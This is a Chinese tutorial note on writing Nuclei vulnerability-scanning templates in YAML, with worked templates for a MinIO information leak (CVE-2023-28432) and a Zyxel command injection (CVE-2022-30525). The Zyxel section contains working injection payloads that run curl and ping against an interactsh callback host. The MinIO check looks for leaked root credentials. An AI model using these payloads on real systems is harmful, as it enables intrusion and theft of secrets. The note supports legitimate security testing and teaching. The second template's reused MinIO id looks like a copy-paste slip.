第102天:漏扫项目篇&Poc开发&Yaml语法&插件一键生成&匹配结果&交互提取

image-20250905165239871

Nuclei-Poc 开发-Yaml 语法 &匹配提取

1
2
3
4
1、大小写敏感
2、使用缩进表示层级关系
3、缩进时不允许使用Tab键,只允许使用空格
4、缩进的空格数目不重要,只要相同层级的元素左侧对齐即可

参考文档

1
2
3
1、https://docs.nuclei.sh/template-guide/introduction		#官方使用手册
2、https://blog.csdn.net/qq_41315957/article/details/126594670 #官方手册翻译之后的版本
3、https://blog.csdn.net/qq_41315957/article/details/126594572

Yaml Poc模板

1
2
3
4
5
1、编号 id
2、信息 info
3、请求 http file tcp等
4、匹配 matchers Interactsh
5、提取 extractors

image-20250908092158177

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{{BaseURL}} - 这将在请求的运行时替换为目标文件中指定的输入 URL。

{{RootURL}} - 这将在运行时将请求中的根 URL 替换为目标文件中指定的根 URL。

{{Hostname}} - 主机名变量被替换为主机名,包括运行时目标的端口。

{{Host}} - 这将在运行时替换目标文件中指定的输入主机的请求。

{{Port}} - 这将在请求中的运行时替换为目标文件中指定的输入端口。

{{Path}} - 这将在请求中的运行时替换为目标文件中指定的输入路径。

{{File}} - 这将在请求中的运行时替换为目标文件中指定的输入文件名。

{{Scheme}} - 这将在运行时按目标文件中指定的协议替换模板中的请求。

image-20250908092348258

image-20250908093426837

image-20250908093441591

怎么快速开发

1
2
3
4
5
6
7
8
9
直接使用官方自带的yaml文件,然后将其复制,直接套用,然后在根据网上的手册进行修改就行了。

开发流程:
1、poc模版套用修改
2、poc创建独立编号
3、poc填入详细信息
4、poc提交协议流程编写
5、poc结果匹配模式判断
6、poc结果提取模式判断

CVE-2023-28432—Yaml开发

1
#利用文档:https://forum.butian.net/article/450

image-20250908094502677

vulhub自带漏洞环境

image-20250908094656038

image-20250908095345754

image-20250908100008431

image-20250908100702409

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
id: CVE-2023-28432

info:
name: MinIO集群模式信息泄露漏洞
author: yatming
severity: high
description: |
MinIO集群模式信息泄露漏洞
reference:
- https://forum.butian.net/article/450
metadata:
verified: true
max-request: 2
fofa-query: app="泛微-eMobile"
tags: cve,cve2023,minio

http:
- raw:
- |
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

matchers-condition: and
matchers:
- type: word
part: body
words:
- 'MINIO_ROOT_PASSWORD'
- 'MINIO_SECRET_KEY'
condition: and

- type: status
status:
- 200

执行命令:

1
nuclei.exe -t C:\Users\yatming\Desktop\Untitled-1.yaml -target http://10.20.0.64:9000

image-20250908101331465

发现检测到了漏洞。

CVE-2022-30525—Yaml开发

1
https://forum.butian.net/article/407

漏洞poc:

1
2
3
4
5
POST /ztp/cgi-bin/handler HTTP/1.1
Host:
Content-Type: application/json

{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";curl `id`.c9y7h342vtc00002dwxggr9tukwyyyyyj.interact.sh;","data":"hi"}

yaml文件编辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
id: CVE-2023-28432

info:
name: MinIO集群模式信息泄露漏洞
author: yatming
severity: high
description: |
MinIO集群模式信息泄露漏洞
reference:
- https://forum.butian.net/article/450
tags: cve,cve2023,minio

http:
- raw:
- |
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{exploit}}","data":"hi"}


payloads:
exploit:
- ";ping -c 3 {{interactsh-url}};"

matchers:
- type: word
part: interactsh_protocol
name: dns
words:
- "dns"

image-20250908111531093

没有扫到,蒜鸟

插件的使用:

image-20250908111559832

image-20250908111610915